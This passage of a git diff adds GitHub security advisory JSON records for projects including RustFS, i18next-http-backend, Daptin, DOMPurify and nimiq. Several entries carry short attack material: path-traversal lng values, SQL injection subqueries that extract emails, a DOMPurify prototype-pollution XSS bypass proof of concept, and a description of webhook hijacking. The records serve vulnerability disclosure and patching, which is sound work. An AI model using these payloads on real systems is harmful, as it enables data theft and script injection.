an attacker to forge a quorum-looking justification while only producing a single signature.\n\nWhile the impact is critical, the exploitability is low: The voting keys are fixed for the epoch, so the attacker would need to know the next epoch validator set (chosen through VRF), which is unlikely.\n\n### Patches\n[The patch for this vulnerability](https://github.com/nimiq/core-rs-albatross/commit/e7f0ab7d2115e17d6e5548ddc60f10df1a5d645f) is included as part of [v1.3.0](https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0).\n\n### Workarounds\nNo known workarounds.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "nimiq-transaction" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.2.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-pf4j-pf3w-95f9" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/pull/3654" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/commit/e7f0ab7d2115e17d6e5548ddc60f10df1a5d645f" + }, + { + "type": "PACKAGE", + "url": "https://github.com/nimiq/core-rs-albatross" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-347" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:22:53Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-pfcq-4gjr-6gjm/GHSA-pfcq-4gjr-6gjm.json b/advisories/github-reviewed/2026/04/GHSA-pfcq-4gjr-6gjm/GHSA-pfcq-4gjr-6gjm.json new file mode 100644 index 0000000000000..a13f7b1ed1032 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-pfcq-4gjr-6gjm/GHSA-pfcq-4gjr-6gjm.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-pfcq-4gjr-6gjm", + "modified": "2026-04-22T19:24:53Z", + "published": "2026-04-22T19:24:53Z", + "aliases": [ + "CVE-2026-40937" + ], + "summary": "RustFS: Missing admin authorization on notification target endpoints allows unauthenticated configuration of event webhooks", + "details": "# Missing Admin Auth on Notification Target Endpoints in RustFS\n\n\n### Finding Summary\n\nAll four notification target admin API endpoints in `rustfs/src/admin/handlers/event.rs` use a `check_permissions` helper that validates authentication only (access key + session token), without performing any admin-action authorization via `validate_admin_request`. Every other admin handler in the codebase correctly calls `validate_admin_request` with a specific `AdminAction`. This is the only admin handler file that skips authorization.\n\nA non-admin user can overwrite a shared admin-defined notification target by name, causing subsequent bucket events to be delivered to an attacker-controlled endpoint. This enables cross-user event interception and audit evasion.\n\n### What Was Proven Live\n\n1. **Authorization bypass on all four endpoints** (03_readonly_user_bypass.py)\n - PUT, GET list, GET arns, DELETE all return 200 for readonly-user\n - Control routes (list-users, kms/status) correctly return 403\n - Unauthenticated requests correctly rejected (403 Signature required)\n\n2. **SSRF via health probe** (04_ssrf_listener_landing.py)\n - HEAD request from rustfs container to attacker-controlled listener\n - No host validation: only scheme check (http/https)\n\n3. **Target hijacking and event exfiltration** (05_target_hijacking.py, 06_full_event_exfil.py)\n - Readonly-user overwrites admin-configured target URL by name\n - Subsequent S3 events delivered to attacker-controlled endpoint\n - Captured event body includes object keys, bucket names, user identities, and request metadata\n\n4. **Audit evasion** (05_target_hijacking.py)\n - Readonly-user can delete unbound targets\n - Readonly-user can overwrite bound targets (silently redirecting events)\n\n### Escalation Vectors Tested But Not Viable\n\n1. **Self-referencing webhook to admin API** (13_self_referencing_test.py)\n - Webhook sends unsigned POST with event JSON body\n - Admin endpoints require SigV4 auth -- unsigned request rejected\n - \"Confused deputy\" via self-referencing does NOT work\n\n2. **Protocol smuggling via non-HTTP targets**\n - Only 2 target types implemented: webhook and MQTT (`event.rs:613` enforces this)\n - No Redis, Kafka, AMQP, or other protocol targets exist\n - CRLF injection in webhook config fields sanitized by reqwest\n - MQTT uses rumqttc (pure Rust binary protocol client), no raw TCP injection\n\n3. **MQTT target for RCE**\n - No unsafe code in MQTT handler\n - rumqttc 0.29.0 has no known public CVEs\n - No Command::new, template engines, or deserialization of broker responses\n\n4. **Unauth access**\n - Endpoints correctly reject unauthenticated requests (403)\n - Endpoints correctly reject invalid credentials (403)\n\n### Prior Art\n\nNo existing advisory covers notification target endpoints. 11 published GHSAs on rustfs/rustfs cover different handlers. Closest:\n- CVE-2026-22042 (ImportIam wrong action constant) -- same bug class, different file\n- CVE-2026-22043 (deny_only short-circuit) -- different bug class\n\n### Recommendation\n\nSubmit via GitHub PVR. The finding is well-supported with live PoC, code references, and clear root cause. The fix is straightforward (add `validate_admin_request` calls to event.rs handlers). Core submission should reference 2-3 focused PoC scripts (readonly bypass, target hijack, event exfil), not the full set of 13 exploratory scripts.\n\n\nKoda Reef\n\n### Patch\nThis issue has been patched in version https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.94.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "rustfs" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.0.2" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/rustfs/rustfs/security/advisories/GHSA-pfcq-4gjr-6gjm" + }, + { + "type": "PACKAGE", + "url": "https://github.com/rustfs/rustfs" + }, + { + "type": "WEB", + "url": "https://github.com/rustfs/rustfs/releases/tag/1.0.0-alpha.94" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-862" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:24:53Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-q89c-q3h5-w34g/GHSA-q89c-q3h5-w34g.json b/advisories/github-reviewed/2026/04/GHSA-q89c-q3h5-w34g/GHSA-q89c-q3h5-w34g.json new file mode 100644 index 0000000000000..c6b12cf13f0a4 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-q89c-q3h5-w34g/GHSA-q89c-q3h5-w34g.json @@ -0,0 +1,56 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-q89c-q3h5-w34g", + "modified": "2026-04-22T17:41:24Z", + "published": "2026-04-22T17:41:24Z", + "aliases": [], + "summary": " i18next-http-backend has Path Traversal & URL Injection via Unsanitised lng/ns", + "details": "### Summary\n\nVersions of `i18next-http-backend` prior to 3.0.5 interpolate the `lng` and `ns` values directly into the configured `loadPath` / `addPath` URL template without any encoding, validation, or path sanitisation. When an application exposes the language-code selection to user-controlled input (the default — `i18next-browser-languagedetector` reads `?lng=` query params, cookies, `localStorage`, and request headers), an attacker can inject characters that change the structure of the outgoing request URL.\n\nAffected call sites:\n\n- `_readAny` — `lib/index.js:64`: `interpolate(resolvedLoadPath, { lng: languages.join('+'), ns: namespaces.join('+') })`\n- `create` — `lib/index.js:123` (pre-patch): `interpolate(addPath, { lng, ns: namespace })`\n\nThe helper `interpolate` (`lib/utils.js`) previously returned the raw value with no encoding. In contrast, `addQueryString` already correctly uses `encodeURIComponent` for each query-string param — only the URL-path substitution was unprotected.\n\n### Impact\n\nAn attacker who can influence the resolved `lng` or `ns` value can alter the URL in several ways:\n\n- **Path traversal** — `lng = '../../config'` turns `/locales/{{lng}}/{{ns}}.json` into `/locales/../../config/translation.json`. On a misconfigured web server, this can cause the request to target a different resource than intended; in SSR pipelines that use `file://` or similar schemes for `loadPath`, it can read arbitrary files from the host filesystem.\n- **Query-string injection** — `lng = 'en?admin=true'` turns `/locales/{{lng}}/{{ns}}.json` into `/locales/en?admin=true/translation.json`. Some server frameworks parse the query portion with higher priority than the path and branch on attacker-controlled flags.\n- **Fragment truncation** — `lng = 'en#anything'` silently discards the rest of the path in browser fetches (client cannot see the final URL).\n- **URL-encoded bypasses** — `lng = 'en%2F..'`, after server-side URL decoding, resolves to `en/..` — the attacker bypasses the absence of a literal `/` in their input.\n\nThe practical worst case is **SSRF** when `loadPath` is an internal or file-scheme URL, and **path-based authorisation bypass** against servers that segment access by URL prefix.\n\n### Also fixed in 3.0.5\n\n- **Per-instance `omitFetchOptions`.** A module-level boolean in `lib/request.js` was flipped to `true` the first time any backend instance hit a \"not implemented\" fetch error. Once flipped, **all** subsequent requests from **all** backend instances in the same module silently stripped every user-configured fetch option — including security-relevant `credentials`, `mode`, and `cache`. One misbehaving instance (for example during SSR hydration or in React Native) permanently removed these protections process-wide. 3.0.5 scopes the flag to the backend's `options` object (`options._omitFetchOptions`) so one instance's fallback cannot pollute siblings.\n- **Log forging via control characters in `lng`/`ns`.** Error callbacks embedded the raw `lng`/`ns`/URL in the message string. Crafted CR/LF values could inject fake log lines into file-backed log aggregators (CWE-117). 3.0.5 strips C0/C1 control chars before concatenation.\n- **Basic-auth credentials leaked into error callbacks.** If `loadPath` contained a `user:password@host` authority, the full URL (including the credentials) ended up in the error message strings returned to the caller. 3.0.5 redacts `user:password@` before logging.\n- **Prototype-pollution amplification via `for...in`.** `addQueryString` and the XHR `customHeaders` loop used `for...in` which walks the prototype chain. Polluted `Object.prototype` entries could leak into URL query parameters and request headers. 3.0.5 uses `Object.keys` and an explicit prototype-key guard.\n\n### Affected versions\n\nAll versions of `i18next-http-backend` prior to **3.0.5**.\n\n### Patch\n\nFixed in **3.0.5**. Summary of the hardening:\n\n1. New `utils.interpolateUrl` (used by `_readAny` and `create`) returns `null` if any substitution fails the URL-segment safety check (blocks `..`, `/`, `\\`, `?`, `#`, `%`, `@`, whitespace, control chars, prototype keys, and values > 128 chars). Multi-language joins (`en+de`) are validated per-segment. The call sites now refuse to issue a request when the check fails and call back with a clear error.\n2. `omitFetchOptions` is stored per-instance on `options._omitFetchOptions`.\n3. Error-callback messages sanitise strings and redact URL credentials.\n4. `for...in` over untrusted objects replaced with `Object.keys` + prototype-key guard.\n\n### Workarounds\n\nNo workaround short of upgrading. If you cannot upgrade immediately, sanitise `lng` / `ns` yourself before they reach i18next (strip `..`, `/`, `\\`, `?`, `#`, `%`, whitespace, and control characters; cap the length).\n\n### Credits\n\nDiscovered via an internal security audit of the i18next ecosystem.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "i18next-http-backend" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "3.0.5" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/i18next/i18next-http-backend/security/advisories/GHSA-q89c-q3h5-w34g" + }, + { + "type": "PACKAGE", + "url": "https://github.com/i18next/i18next-http-backend" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22", + "CWE-74" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:41:24Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-qxpq-82f3-xj47/GHSA-qxpq-82f3-xj47.json b/advisories/github-reviewed/2026/04/GHSA-qxpq-82f3-xj47/GHSA-qxpq-82f3-xj47.json new file mode 100644 index 0000000000000..aef0b710c348d --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-qxpq-82f3-xj47/GHSA-qxpq-82f3-xj47.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-qxpq-82f3-xj47", + "modified": "2026-04-22T17:27:46Z", + "published": "2026-04-22T17:27:46Z", + "aliases": [ + "CVE-2026-41201" + ], + "summary": "CI4MS: Backup Management Full Account Takeover for All Roles & Privilege Escalation via Stored DOM Blind XSS", + "details": "## Summary:\nAn attacker can acheive Full Account Takeover & Privilege Escalation via Stored DOM XSS in backup module filename field manipulated via an SQLl file that tampers with the file name field to contain hidden XSS payload.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Packagist", + "name": "ci4-cms-erp/ci4ms" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.31.5.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-qxpq-82f3-xj47" + }, + { + "type": "PACKAGE", + "url": "https://github.com/ci4-cms-erp/ci4ms" + }, + { + "type": "WEB", + "url": "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:27:46Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-r99v-75p9-xqm5/GHSA-r99v-75p9-xqm5.json b/advisories/github-reviewed/2026/04/GHSA-r99v-75p9-xqm5/GHSA-r99v-75p9-xqm5.json new file mode 100644 index 0000000000000..5e5e16abc9402 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-r99v-75p9-xqm5/GHSA-r99v-75p9-xqm5.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-r99v-75p9-xqm5", + "modified": "2026-04-22T19:54:54Z", + "published": "2026-04-22T19:54:54Z", + "aliases": [ + "CVE-2026-41136" + ], + "summary": "free5GC AMF: Missing default case in Content-Type switch in HTTPUEContextTransfer", + "details": "## Summary\n\nThe `HTTPUEContextTransfer` handler in `internal/sbi/api_communication.go` does not include a `default` case in the `Content-Type` switch statement. When a request arrives with an unsupported `Content-Type`, the deserialization step is silently skipped, `err` remains `nil`, and the processor is invoked with a completely uninitialized `UeContextTransferRequest` object.\n\n## Details\n\nIn `internal/sbi/api_communication.go`, the `HTTPUEContextTransfer` function handles the `Content-Type` header with a switch statement that only covers `application/json` and `multipart/related`:\n\n```go\nswitch str[0] {\ncase applicationjson:\n err = openapi.Deserialize(ueContextTransferRequest.JsonData, requestBody, contentType)\ncase multipartrelate:\n err = openapi.Deserialize(&ueContextTransferRequest, requestBody, contentType)\n// no default case\n}\n\nif err != nil {\n // skipped entirely when Content-Type is unsupported\n c.JSON(http.StatusBadRequest, rsp)\n return\n}\n\ns.Processor().HandleUEContextTransferRequest(c, ueContextTransferRequest)\n```\n\nThis is inconsistent with the two analogous handlers in the same file, `HTTPCreateUEContext` and `HTTPN1N2MessageTransfer`, which both correctly include a `default` branch:\n\n```go\ndefault:\n err = fmt.Errorf(\"wrong content type\")\n```\n\nThe fix is simply to add the same `default` case to `HTTPUEContextTransfer`.\n\n## PoC\n\nWith a free5GC deployment running, send a POST request to the UE context transfer endpoint using any unsupported `Content-Type` (e.g. `text/plain`):\n\n```bash\ncurl -s -X POST \"http:///namf-comm/v1/ue-contexts//transfer\" \\\\\n -H \"Content-Type: text/plain\" \\\\\n -d '{\"test\":\"data\"}' \\\\\n -i\n```\n\n**Expected (correct) behavior:** `400 Bad Request` from the SBI layer, rejecting the request due to unsupported Content-Type — consistent with `HTTPCreateUEContext`.\n\n**Actual (observed) behavior:** The SBI-layer error check is bypassed and the processor is reached with an empty request object, returning:\n\n```\nHTTP/1.1 400 Bad Request\n{\"status\": 400, \"cause\": \"MANDATORY_IE_MISSING\"}\n```\n\nThe `MANDATORY_IE_MISSING` cause originates from the processor's internal validation, not from the SBI handler — confirming the processor was called with an uninitialized struct.\n\n## Impact\n\nThe endpoint is an inter-NF SBI API used during AMF-to-AMF UE context handover. It is not directly reachable from external UEs and requires access to the internal 5GC SBI network. The processor's secondary mandatory field validation prevents any unintended state modification, so there is no direct exploitability. However, the SBI handler layer is the intended first line of defense — relying on the processor to compensate for a missing input check increases fragility and violates defense in depth. Any future change to the processor's validation logic could inadvertently expose the system to processing completely empty request objects.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/free5gc/amf" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "1.4.3" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/free5gc/free5gc/security/advisories/GHSA-r99v-75p9-xqm5" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41136" + }, + { + "type": "PACKAGE", + "url": "https://github.com/free5gc/free5gc" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-440" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:54:54Z", + "nvd_published_at": "2026-04-22T00:16:29Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-rw2c-8rfq-gwfv/GHSA-rw2c-8rfq-gwfv.json b/advisories/github-reviewed/2026/04/GHSA-rw2c-8rfq-gwfv/GHSA-rw2c-8rfq-gwfv.json new file mode 100644 index 0000000000000..ca63bc8d9d2ee --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-rw2c-8rfq-gwfv/GHSA-rw2c-8rfq-gwfv.json @@ -0,0 +1,61 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-rw2c-8rfq-gwfv", + "modified": "2026-04-22T17:38:02Z", + "published": "2026-04-22T17:38:02Z", + "aliases": [ + "CVE-2026-41422" + ], + "summary": "Daptin: SQL injection via unvalidated goqu.L() calls in aggregate API", + "details": "## Summary\n\nThe `/aggregate/:typename` endpoint accepted `column` and `group` query parameters that were passed verbatim to `goqu.L()` — a raw SQL literal expression builder — without any validation. This bypassed all parameterization and allowed authenticated users with any valid session to inject arbitrary SQL expressions.\n\n## Impact\n\nAn authenticated low-privilege user could:\n- Extract data from any table via subquery: `(SELECT group_concat(email) FROM user_account) as leak`\n- Disclose database internals: `sqlite_version()`, `(SELECT sql FROM sqlite_master)`\n- Exfiltrate cross-table data via correlated subqueries\n\nThe vulnerability was confirmed locally; `user_account.email` values were extracted via a crafted `column` parameter by a non-admin user.\n\n## Root Cause\n\n`goqu.L(userInput)` in `server/resource/resource_aggregate.go` inserted user-supplied query parameters directly into the SQL string with no validation.\n\n## Fix (v0.11.4)\n\nAll `goqu.L()` calls on user-controlled input were eliminated and replaced with:\n- Structural expression parsing supporting all documented API forms\n- Schema-based column validation (column names checked against entity schema via `TableInfo().GetColumnByName()`)\n- Exact-match allowlist for aggregate functions (`count`, `sum`, `avg`, `min`, `max`, `first`, `last`) and scalar functions (`date`, `strftime`, `upper`, `lower`, etc.)\n- Safe goqu constructors (`goqu.I()`, `goqu.SUM()`, `goqu.Func()`) for all generated expressions\n- `allowedTables` scope enforcement: qualified column refs (`table.col`) validated against root entity + explicitly joined tables only\n\nTwo additional DoS bugs were fixed in the same commit: `uuid.MustParse` panic on malformed UUID input and an index-out-of-range panic in `ToOrderedExpressionArray` on empty sort expressions.\n\n## Credits\n\nReported by @VashuVats.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Go", + "name": "github.com/daptin/daptin" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "0.11.4" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/daptin/daptin/security/advisories/GHSA-rw2c-8rfq-gwfv" + }, + { + "type": "PACKAGE", + "url": "https://github.com/daptin/daptin" + }, + { + "type": "WEB", + "url": "https://github.com/daptin/daptin/releases/tag/v0.11.4" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-89" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:38:02Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-v9jr-rg53-9pgp/GHSA-v9jr-rg53-9pgp.json b/advisories/github-reviewed/2026/04/GHSA-v9jr-rg53-9pgp/GHSA-v9jr-rg53-9pgp.json new file mode 100644 index 0000000000000..2995d7f23b039 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-v9jr-rg53-9pgp/GHSA-v9jr-rg53-9pgp.json @@ -0,0 +1,62 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-v9jr-rg53-9pgp", + "modified": "2026-04-22T17:31:32Z", + "published": "2026-04-22T17:31:32Z", + "aliases": [ + "CVE-2026-41238" + ], + "summary": "DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback", + "details": "## Summary\n\nDOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses `DOMPurify.sanitize()` with the default configuration (no `CUSTOM_ELEMENT_HANDLING` option), a prior prototype pollution gadget can inject permissive `tagNameCheck` and `attributeNameCheck` regex values into `Object.prototype`, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.\n\n## Affected Versions\n\n- **3.0.1 through 3.3.3** (current latest) — all affected\n- **3.0.0 and all 2.x versions** — NOT affected (used `Object.create(null)` for initialization, no `|| {}` reassignment)\n- The vulnerable `|| {}` reassignment was introduced in the 3.0.0→3.0.1 refactor\n- This is **distinct** from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)\n- This is **distinct** from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)\n\n## Root Cause\n\nIn `purify.js` at line 590, during config parsing:\n\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nWhen no `CUSTOM_ELEMENT_HANDLING` is specified in the config (the default usage pattern), `cfg.CUSTOM_ELEMENT_HANDLING` is `undefined`, and the fallback `{}` is used. This plain object inherits from `Object.prototype`.\n\nLines 591-598 then check `cfg.CUSTOM_ELEMENT_HANDLING` (the original config property) — which is `undefined` — so the conditional blocks that would set `tagNameCheck` and `attributeNameCheck` from the config are never entered.\n\nAs a result, `CUSTOM_ELEMENT_HANDLING.tagNameCheck` and `CUSTOM_ELEMENT_HANDLING.attributeNameCheck` resolve via the prototype chain. If an attacker has polluted `Object.prototype.tagNameCheck` and `Object.prototype.attributeNameCheck` with permissive values (e.g., `/.*/`), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.\n\n## Impact\n\n- **Attack type:** XSS bypass via prototype pollution chain\n- **Prerequisites:** Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)\n- **Config required:** Default. No special DOMPurify configuration needed. The standard `DOMPurify.sanitize(userInput)` call is affected.\n- **Payload:** Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization\n\n## Proof of Concept\n\n```javascript\n// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application\nObject.prototype.tagNameCheck = /.*/;\nObject.prototype.attributeNameCheck = /.*/;\n\n// Step 2: Application sanitizes user input with DEFAULT config\nconst clean = DOMPurify.sanitize('');\n\n// Step 3: \"Sanitized\" output still contains the event handler\nconsole.log(clean);\n// Output: \n\n// Step 4: When injected into DOM, XSS executes\ndocument.body.innerHTML = clean; // alert() fires\n```\n\n### Tested configurations that are vulnerable:\n\n| Call Pattern | Vulnerable? |\n|---|---|\n| `DOMPurify.sanitize(input)` | YES |\n| `DOMPurify.sanitize(input, {})` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null })` | YES |\n| `DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} })` | NO (explicit object triggers L591 path) |\n\n## Suggested Fix\n\nChange line 590 from:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};\n```\n\nTo:\n```javascript\nCUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);\n```\n\nThe `create(null)` function (already used elsewhere in DOMPurify, e.g., in `clone()`) creates an object with no prototype, preventing prototype chain inheritance.\n\n### Alternative application-level mitigation:\n\nApplications can protect themselves by always providing an explicit `CUSTOM_ELEMENT_HANDLING` in their config:\n\n```javascript\nDOMPurify.sanitize(input, {\n CUSTOM_ELEMENT_HANDLING: {\n tagNameCheck: null,\n attributeNameCheck: null\n }\n});\n```\n\n## Timeline\n\n- **2026-04-04:** Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)\n- **2026-04-04:** Confirmed in Chrome browser with DOMPurify 3.3.3\n- **2026-04-04:** Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801\n- **2026-04-04:** Advisory drafted, responsible disclosure initiated\n\n## Credit\n\nhttps://github.com/trace37labs", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "npm", + "name": "dompurify" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "3.0.1" + }, + { + "fixed": "3.4.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp" + }, + { + "type": "PACKAGE", + "url": "https://github.com/cure53/DOMPurify" + }, + { + "type": "WEB", + "url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-1321", + "CWE-79" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T17:31:32Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-vc34-39q2-m6q3/GHSA-vc34-39q2-m6q3.json b/advisories/github-reviewed/2026/04/GHSA-vc34-39q2-m6q3/GHSA-vc34-39q2-m6q3.json new file mode 100644 index 0000000000000..fe03d1cb04bd0 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-vc34-39q2-m6q3/GHSA-vc34-39q2-m6q3.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-vc34-39q2-m6q3", + "modified": "2026-04-22T19:18:55Z", + "published": "2026-04-22T19:18:55Z", + "aliases": [ + "CVE-2026-34064" + ], + "summary": "nimiq-account: Vesting insufficient funds error can panic", + "details": "### Impact\n`VestingContract::can_change_balance` returns `AccountError::InsufficientFunds` when `new_balance < min_cap`, but it constructs the error using `balance: self.balance - min_cap`. `Coin::sub` panics on underflow, so if an attacker can reach a state where `min_cap > balance`, the node crashes while trying to return an error.\n\nThe `min_cap > balance` precondition is attacker-reachable because the vesting contract creation data (32-byte format) allows encoding `total_amount` without validating `total_amount <= transaction.value` (the real contract balance). After creating such a vesting contract, the attacker can broadcast an outgoing transaction to trigger the panic during mempool admission and block processing.\n\n### Patches\n[The patch for this vulnerability](https://github.com/nimiq/core-rs-albatross/commit/4d01946f0b3d6c6e31786f91cdfb3eb902908da0) is included as part of [v1.3.0](https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0).\n\n### Workarounds\nNo known workarounds.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N" + } + ], + "affected": [ + { + "package": { + "ecosystem": "crates.io", + "name": "nimiq-account" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "last_affected": "0.2.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/security/advisories/GHSA-vc34-39q2-m6q3" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/pull/3658" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/commit/4d01946f0b3d6c6e31786f91cdfb3eb902908da0" + }, + { + "type": "PACKAGE", + "url": "https://github.com/nimiq/core-rs-albatross" + }, + { + "type": "WEB", + "url": "https://github.com/nimiq/core-rs-albatross/releases/tag/v1.3.0" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-191" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2026-04-22T19:18:55Z", + "nvd_published_at": null + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json b/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json new file mode 100644 index 0000000000000..174fde063d763 --- /dev/null +++ b/advisories/github-reviewed/2026/04/GHSA-w5hq-g745-h8pq/GHSA-w5hq-g745-h8pq.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-w5hq-g745-h8pq", + "modified": "2026-04-22T20:53:24Z", + "published": "2026-04-22T20:53:24Z", + "aliases": [], + "summary": "uuid: Missing buffer bounds check in v3/v5/v6 when buf is provided", + "details": "### Summary\n\n`v3`, `v5`, and `v6` accept external output buffers but do not reject out-of-range writes (small `buf` or large `offset`). \nBy contrast, `v4`, `v1`, and 